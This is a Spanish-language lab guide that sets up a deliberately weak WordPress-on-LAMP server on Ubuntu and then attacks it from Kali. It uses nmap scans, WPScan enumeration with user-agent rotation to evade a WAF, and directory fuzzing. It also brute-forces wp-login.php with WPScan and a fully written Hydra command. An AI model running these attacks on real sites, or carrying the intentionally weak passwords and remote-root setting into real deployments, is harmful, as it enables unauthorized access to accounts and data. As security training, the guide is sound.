GhostAcademy logo GhostAcademy
Práctica de Laboratorio · Seguridad Web

WordPress sobre LAMP

Instalación, Configuración y Explotación en Ubuntu 24.04

Linux Apache MySQL PHP WPScan Hydra Gobuster
🏗️

Introducción al Stack LAMP

Esta práctica guía la instalación de WordPress en un entorno vulnerable utilizando el stack LAMP sobre Ubuntu 24.04. El objetivo es doble:

⚠️

Entorno de laboratorio: Todos los ejercicios deben realizarse en una red aislada (p. ej. VirtualBox en red interna o NAT). Nunca ejecutes estas técnicas contra sistemas reales sin autorización explícita.

💡

Arquitectura del laboratorio: Necesitarás dos máquinas virtuales:

  • Víctima: Ubuntu 24.04 con WordPress (stack LAMP)
  • Atacante: Kali Linux (herramientas de pentesting preinstaladas)

Asegúrate de que ambas estén en la misma red virtual y puedan hacerse ping mutuamente.

🔄

Paso 1: Actualizar el Sistema

Ubuntu 24.04

Es crucial asegurar que todos los paquetes estén actualizados para garantizar la estabilidad del entorno antes de instalar cualquier componente.

ComandoFunción
sudo apt updateActualiza la lista de paquetes disponibles desde los repositorios
sudo apt upgrade -yInstala todas las actualizaciones pendientes sin pedir confirmación
sudo apt update && sudo apt upgrade -y
ℹ️

El operador && ejecuta el segundo comando solo si el primero termina con éxito. Si apt update falla (por ejemplo, sin conexión), no intentará el upgrade.

🌐

Paso 2: Instalar Apache (Servidor Web)

Apache2

Apache es el servidor web que se encargará de recibir las peticiones HTTP y mostrar tu sitio WordPress al navegador.

1

Instalar Apache:

sudo apt install apache2 -y
2

Verificar la instalación:

Accede a http://localhost/ en tu navegador. Deberías ver la página de bienvenida de Apache ("It works!").

💡

Si el navegador no carga, comprueba que Apache esté activo con:

sudo systemctl status apache2

Si está parado, inícialo con: sudo systemctl start apache2

🗄️

Paso 3: Instalar MySQL (Base de Datos)

MySQL Server

MySQL almacenará todo el contenido de WordPress: entradas, páginas, usuarios, configuraciones, etc.

1

Instalar MySQL:

sudo apt install mysql-server -y
2

Ejecutar el script de seguridad: Se recomienda ejecutar este script para mejorar la seguridad de MySQL y establecer opciones básicas.

sudo mysql_secure_installation

Sigue las instrucciones en pantalla.

mysql_secure_installation - primera parte
Script mysql_secure_installation en ejecución
mysql_secure_installation - contraseña
Estableciendo contraseña y opciones de seguridad

Respuestas al script de seguridad

Durante el proceso se te harán varias preguntas. Para esta práctica usa:

🔴

Implicaciones de seguridad al responder n en "Disallow root login remotely":

Con esa respuesta le indicas a MySQL que no deshabilite el inicio de sesión remoto para root, permitiendo que el usuario root se conecte desde cualquier IP de la red.

ConfiguraciónImplicación de Seguridad
n (Permitir root remoto) ⚠️ Riesgo ALTO. Si alguien adivina la contraseña de root, puede acceder a toda la base de datos desde cualquier lugar de la red sin necesidad de acceder primero al servidor.
y (Deshabilitar root remoto) ✅ Riesgo BAJO. El usuario root solo puede conectarse desde localhost. Para acceder como root, el atacante necesitaría primero comprometer el servidor.
ℹ️

¿Por qué el script no pidió contraseña? Es un comportamiento normal y esperado en Ubuntu moderno. MySQL usa autenticación por socket Unix (auth_socket): en lugar de una contraseña, verifica que el usuario del sistema operativo que usa sudo tenga permiso. El script lo indica con el mensaje:

Skipping password set for root as authentication with auth_socket is used by default.

En resumen: el acceso de root a MySQL está protegido por tu contraseña de sudo, no por una contraseña separada de MySQL.

📊

Paso 4: Crear la Base de Datos y Usuario de WordPress

MySQL

WordPress necesita su propia base de datos y un usuario dedicado con permisos sobre ella. Nunca uses el usuario root de MySQL para aplicaciones web.

1

Acceder al shell de MySQL:

sudo mysql
2

Ejecutar los comandos SQL uno a uno (la contraseña usada es 12345678):

CREATE DATABASE wordpress DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci;

CREATE USER 'wordpressuser'@'localhost' IDENTIFIED BY '12345678';

GRANT ALL PRIVILEGES ON wordpress.* TO 'wordpressuser'@'localhost';

FLUSH PRIVILEGES;

EXIT;
ℹ️

¿Qué hace cada comando?

  • CREATE DATABASE: Crea la base de datos con codificación UTF-8 para soportar caracteres internacionales.
  • CREATE USER: Crea el usuario wordpressuser con acceso solo desde localhost.
  • GRANT ALL PRIVILEGES: Otorga todos los permisos sobre la BD de WordPress al nuevo usuario.
  • FLUSH PRIVILEGES: Recarga los privilegios para que los cambios tengan efecto inmediato.
  • EXIT: Sale del shell de MySQL.
🐘

Paso 5: Instalar PHP y Extensiones

PHP

PHP es el lenguaje de programación que usa WordPress. Además del intérprete base, necesita extensiones específicas para funcionar correctamente.

sudo apt install php libapache2-mod-php php-mysql php-curl php-gd php-mbstring php-xml php-xmlrpc php-soap php-intl php-zip -y
ExtensiónPara qué sirve
libapache2-mod-phpIntegra PHP con el servidor Apache
php-mysqlPermite a PHP conectarse a MySQL/MariaDB
php-curlPeticiones HTTP externas (actualizaciones, plugins)
php-gdManipulación de imágenes (redimensionar, recortar)
php-mbstringSoporte para caracteres multibyte (UTF-8, Unicode)
php-xmlProcesamiento de XML (feeds RSS, sitemaps)
php-xmlrpcPublicación remota vía XML-RPC
php-soapServicios web SOAP
php-intlInternacionalización y localización
php-zipInstalar/actualizar plugins y temas (archivos .zip)
⚙️

Paso 6: Configurar Apache para WordPress

VirtualHost

Necesitas crear un VirtualHost en Apache para que sepa dónde están los archivos de WordPress y cómo servirlos.

1

Crear el archivo de configuración del sitio:

sudo nano /etc/apache2/sites-available/wordpress.conf
2

Añadir la configuración (copia y pega exactamente):

<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/wordpress

    <Directory /var/www/wordpress/>
        AllowOverride All
        Require all granted
    </Directory>

    ErrorLog /error.log
    CustomLog /access.log combined
</VirtualHost>

Esta configuración establece /var/www/wordpress como directorio raíz y permite el uso de archivos .htaccess gracias a AllowOverride All, necesario para las URLs amigables de WordPress.

3

Guardar y cerrar el archivo: en nano, pulsa Ctrl+O → Enter → Ctrl+X.

4

Habilitar el sitio y el módulo rewrite (necesario para las URLs amigables):

sudo a2ensite wordpress.conf
sudo a2enmod rewrite
a2ensite y a2enmod rewrite
Habilitando el sitio WordPress y el módulo rewrite en Apache
5

Recargar Apache para aplicar los cambios:

sudo systemctl reload apache2

¿Reload o Restart?

Característicasystemctl reload apache2systemctl restart apache2
MecanismoEnvía señal al proceso para que relea su configuraciónDetiene completamente el servicio y lo reinicia
Tiempo de inactividad✅ Casi nulo — las conexiones activas terminan normalmente⚠️ Breve interrupción — corta conexiones en curso
Cuándo usarloCambios menores: nuevo VirtualHost, cambio de directiva de log, etc.Cambios mayores: puertos, módulos, errores críticos, SSL/TLS
✅

Usa siempre reload en producción: es la opción más segura y no interrumpe a los usuarios. Reserva restart solo cuando un reload falle o los cambios sean tan críticos que requieran detención completa.

📥

Paso 7: Descargar y Configurar WordPress

wp-config.php
1

Descargar y extraer WordPress:

wget https://wordpress.org/latest.tar.gz
tar -xvzf latest.tar.gz
sudo mv wordpress /var/www/
2

Asignar permisos correctos: Esto permite a Apache (www-data) acceder y modificar los archivos de WordPress.

sudo chown -R www-data:www-data /var/www/wordpress
💡

www-data es el usuario con el que corre Apache en Ubuntu. Si los archivos no le pertenecen, WordPress no podrá instalar plugins, subir imágenes ni actualizarse.

3

Crear y editar el archivo de configuración:

cd /var/www/wordpress
sudo cp wp-config-sample.php wp-config.php
sudo nano wp-config.php
4

Editar wp-config.php con los datos de tu base de datos. El bloque debe quedar exactamente así:

define( 'DB_NAME', 'wordpress' );

define( 'DB_USER', 'wordpressuser' );

define( 'DB_PASSWORD', '12345678' );

define( 'DB_HOST', 'localhost' );

define( 'DB_CHARSET', 'utf8' );

define( 'DB_COLLATE', '' );
wp-config.php con datos de base de datos
Configuración de la base de datos en wp-config.php
5

Guardar y cerrar el archivo (Ctrl+O → Enter → Ctrl+X).

wp-config.php guardado
wp-config.php con toda la configuración correctamente guardada

Problema: Apache sigue mostrando la página por defecto

Si al acceder a http://localhost/ sigues viendo la página "It works!" de Apache, es porque el sitio predeterminado (000-default.conf) tiene prioridad sobre la configuración de WordPress. Ambos escuchan en el puerto 80.

Solución: deshabilitar el sitio por defecto

1

Deshabilitar el sitio predeterminado:

sudo a2dissite 000-default.conf
2

Verificar que WordPress esté habilitado (solo si es necesario):

sudo a2ensite wordpress.conf

Si ya está habilitado, dirá: "Site wordpress already enabled".

3

Recargar Apache:

sudo systemctl reload apache2
✅

Tras estos pasos, accede a http://localhost/. Deberías ver el asistente de instalación de WordPress pidiendo que elijas el idioma.

Pantalla de bienvenida de WordPress
✅ Instalador de WordPress cargando correctamente en el navegador
🌍

Paso 8: Completar la Instalación por el Navegador

Setup Web

El último paso es el asistente de configuración web de WordPress. Accede a http://localhost/ en tu navegador.

1

Selecciona el idioma de instalación y haz clic en "Continuar".

2

Rellena los datos del sitio. Para esta práctica usa los siguientes valores intencionalmente débiles (nos servirán para la fase de explotación):

CampoValor
Título del sitiodiversionconbanderas
Nombre de usuariosheldon
Contraseñapenny ⚠️ contraseña débil intencionada
Correo electrónicosheldon@diversionconbanderas.local
Formulario de instalación de WordPress
Formulario de configuración inicial de WordPress
Instalación completada
Instalación completada con éxito
Pantalla de login de WordPress
Pantalla de inicio de sesión del panel de WordPress
Panel de administración de WordPress
Panel de administración de WordPress (wp-admin) accesible
🎉

¡Instalación completada! Tu stack LAMP con WordPress está operativo. A partir de aquí puedes:

  • Explorar el panel de administración en http://localhost/wp-admin/
  • Instalar temas y plugins
  • Continuar con la fase de explotación desde Kali Linux
🔴

Fase 2: Explotación de WordPress Inseguro

A partir de aquí trabajamos desde Kali Linux como máquina atacante contra la víctima Ubuntu con WordPress. Asegúrate de tener ambas VMs en la misma red y con conectividad entre ellas.

🐉

Configuración Básica de Kali Linux

Kali

Antes de empezar, configura el teclado en español para trabajar cómodamente con caracteres especiales en los comandos.

Cambiar idioma del teclado temporalmente (sesión actual)

setxkbmap es

Cambiar idioma del teclado de forma permanente

1

Edita el archivo de configuración del teclado:

sudo nano /etc/default/keyboard
2

Modifica la variable XKBLAYOUT:

XKBLAYOUT="es"
XKBMODEL="pc105"
XKBVARIANT=""
XKBOPTIONS=""

Guarda con Ctrl+O → Enter → Ctrl+X y reinicia la sesión para aplicar el cambio.

🔭

Reconocimiento: Verificar Conectividad y Escanear con Nmap

Nmap
💡

Antes de atacar necesitas saber la IP de la víctima. En la máquina Ubuntu, ejecuta ip a y anota la IP de la interfaz de red. En los ejemplos se usa 192.168.1.47 — sustitúyela por la IP real de tu laboratorio.

Comprobar conectividad con la víctima

ping 192.168.1.47
Ping a la víctima
Comprobando conectividad con la máquina víctima mediante ping

Escanear la víctima con Nmap

Tienes dos variantes de escaneo. La segunda es más agresiva y rápida:

Escaneo estándar (completo y detallado):

sudo nmap -p- -sV -sC -T4 192.168.1.47

Escaneo rápido con SYN scan y salida a fichero:

sudo nmap -p- --open -sS -sC -sV --min-rate 5000 -vvv -n -Pn 192.168.1.47 -oN Escaneo
FlagSignificado
-p-Escanear los 65535 puertos TCP
--openMostrar solo puertos abiertos
-sSSYN scan (stealth, no completa el handshake TCP)
-sCScripts NSE por defecto (detecta servicios conocidos)
-sVDetectar versiones de los servicios
--min-rate 5000Velocidad mínima: 5000 paquetes/segundo
-nNo resolver DNS (más rápido)
-PnNo hacer ping previo (asumir host activo)
-oN EscaneoGuardar resultado en fichero de texto "Escaneo"
Resultado del escaneo nmap
Resultado del escaneo Nmap — puertos y servicios detectados
🔍

Análisis con WPScan

WPScan

WPScan es una herramienta especializada en auditoría de instalaciones WordPress. Detecta versiones, plugins vulnerables, usuarios, etc.

Actualizar la base de datos de WPScan

wpscan --update

Escaneo básico del sitio WordPress

wpscan --url http://192.168.1.47

Escaneo con rotación de User-Agent (evasión de WAF básico)

wpscan --url http://192.168.1.47 --random-user-agent
ℹ️

--random-user-agent hace que WPScan varíe el identificador de navegador en cada petición, dificultando la detección por sistemas de defensa que bloqueen el User-Agent de WPScan.

📂

Enumeración de Directorios y Archivos

Gobuster / Feroxbuster

La enumeración de directorios busca rutas ocultas o no enlazadas en el servidor web, que pueden revelar paneles de administración, backups o archivos sensibles.

Gobuster — búsqueda básica

gobuster dir -u http://192.168.1.47 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

Gobuster — lista más extensa

gobuster dir -u http://192.168.1.47 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,py,sh

Feroxbuster — alternativa recursiva

feroxbuster -u http://192.168.1.47

Wfuzz — fuzzing de subdominios

wfuzz -c --hc=403 -t 20 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.local" -u http://192.168.1.47
Flag GobusterSignificado
dirModo de enumeración de directorios
-uURL objetivo
-wRuta al wordlist (diccionario de rutas)
-x php,html,txtExtensiones adicionales a probar en cada entrada del diccionario
Resultado de Gobuster
Gobuster descubriendo rutas y archivos en la instalación WordPress
👤

Enumeración de Usuarios WordPress

WPScan

WordPress expone por defecto información sobre sus usuarios a través del REST API y el parámetro ?author=N. WPScan automatiza esta enumeración.

Enumerar usuarios y plugins vulnerables

wpscan --url http://192.168.1.47 --enumerate u,vp

Solo usuarios

wpscan --url http://192.168.1.47 --enumerate u
Flag --enumerateQué enumera
uUsuarios registrados en WordPress
vpPlugins vulnerables conocidos
apTodos los plugins (más lento)
tTemas instalados
WPScan enumerando usuarios
WPScan detectando el usuario 'sheldon' en la instalación
Página de login de WordPress
Página de login wp-login.php que usaremos como objetivo del ataque de fuerza bruta
WPScan resultados detallados
Resultados detallados del análisis WPScan
WPScan información adicional
Información adicional sobre la instalación WordPress detectada por WPScan
WPScan usuario encontrado
WPScan confirma el usuario 'sheldon' como válido
🔨

Ataque de Fuerza Bruta a wp-login.php

WPScan + Hydra

Con el usuario sheldon confirmado, podemos intentar descubrir su contraseña probando contra el diccionario rockyou.txt.

Fuerza bruta con WPScan (método recomendado para WordPress)

wpscan --url http://192.168.1.47/wp-login.php --passwords /usr/share/wordlists/rockyou.txt --usernames sheldon
💡

WPScan es la opción preferida para atacar WordPress porque entiende el protocolo de autenticación nativo y maneja bien las redirecciones y tokens nonce de WordPress.

WPScan encontrando la contraseña
WPScan descubriendo la contraseña 'penny' del usuario 'sheldon'

Fuerza bruta con Hydra (alternativa)

hydra -t 4 -V -f -l sheldon -P /usr/share/wordlists/rockyou.txt 192.168.1.47 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In:L=2885'

Desglose de los parámetros de Hydra

ParámetroFunción
-t 4Número de tareas paralelas (hilos). Bajo para no saturar el servidor.
-VVerbose: muestra cada intento usuario/contraseña en pantalla
-fStop after first valid password found (para cuando encuentra la primera credencial válida)
-l sheldonNombre de usuario objetivo (minúscula = usuario fijo)
-P rockyou.txtFichero de contraseñas (mayúscula = lista)
http-post-formMódulo de ataque: formulario HTTP POST

Cadena de ataque HTTP-POST-FORM desglosada

La cadena tiene tres partes separadas por :

ParteValorExplicación
Ruta /wp-login.php Endpoint al que se envía el formulario POST
Payload log=^USER^&pwd=^PASS^&wp-submit=Log In Datos del formulario. Hydra reemplaza ^USER^ por sheldon y ^PASS^ por cada contraseña del diccionario
Condición de fallo L=2885 Clave: si la respuesta del servidor tiene exactamente 2885 bytes de contenido, la contraseña es incorrecta. Si la longitud es diferente (login exitoso → redirección), Hydra marca el intento como válido
⚠️

Determinar el valor L= correcto: Antes de lanzar Hydra, haz un intento de login manual con credenciales incorrectas y mide el tamaño de la respuesta (con Burp Suite o curl -s http://IP/wp-login.php -d "log=test&pwd=test" | wc -c). Ese número es tu valor L=.

Hydra atacando wp-login.php
Hydra ejecutando el ataque de fuerza bruta contra wp-login.php

Comprobar la posición de una contraseña en el diccionario

Útil para saber en qué línea está la contraseña objetivo y estimar cuánto tardaría el ataque:

grep -n penny rockyou.txt
grep buscando penny en rockyou.txt
Localizando 'penny' en el diccionario rockyou.txt y su número de línea
📡

Referencia: Códigos de Estado HTTP

Entender los códigos HTTP es fundamental al hacer enumeración y ataques web. Aquí tienes los más relevantes organizados por categoría:

1xx · Informativos
  • 100 Continue — El servidor recibió los encabezados; el cliente debe continuar enviando el cuerpo.
2xx · Éxito
  • 200OK — Solicitud exitosa. Es lo que esperamos para páginas normales y logins correctos.
  • 201Created — Recurso creado con éxito (común en APIs REST).
  • 204No Content — Procesado con éxito, pero sin contenido en la respuesta.
3xx · Redirecciones
  • 301Moved Permanently — El recurso se movió de forma permanente a otra URL. Visto en escaneos para rutas antiguas como /index.php.
  • 302Found — Redirección temporal. Visto en /admin y /dashboard. Un login exitoso en WordPress suele devolver un 302.
  • 307Temporary Redirect — Como el 302 pero manteniendo el método HTTP original.
  • 308Permanent Redirect — Como el 301 pero manteniendo el método HTTP original.
4xx · Error del Cliente
  • 400Bad Request — Sintaxis incorrecta en la petición.
  • 401Unauthorized — Requiere autenticación.
  • 403Forbidden — El servidor entiende la petición pero rechaza el acceso. Habitual en .htaccess, .htpasswd y directorios protegidos.
  • 404Not Found — Recurso no encontrado. El código más común en fuerza bruta de directorios.
  • 405Method Not Allowed — El método HTTP usado (POST, DELETE…) no está permitido para ese recurso.
  • 429Too Many Requests — Rate limiting activo. El servidor detecta y mitiga ataques de fuerza bruta.
5xx · Error del Servidor
  • 500Internal Server Error — Error genérico del servidor. A menudo causado por código PHP defectuoso o configuración incorrecta.
  • 502Bad Gateway — El servidor proxy/gateway recibió una respuesta no válida del servidor de origen.
  • 503Service Unavailable — Servidor no disponible temporalmente (sobrecarga o mantenimiento).
  • 504Gateway Timeout — El proxy/gateway no recibió respuesta a tiempo del servidor de origen.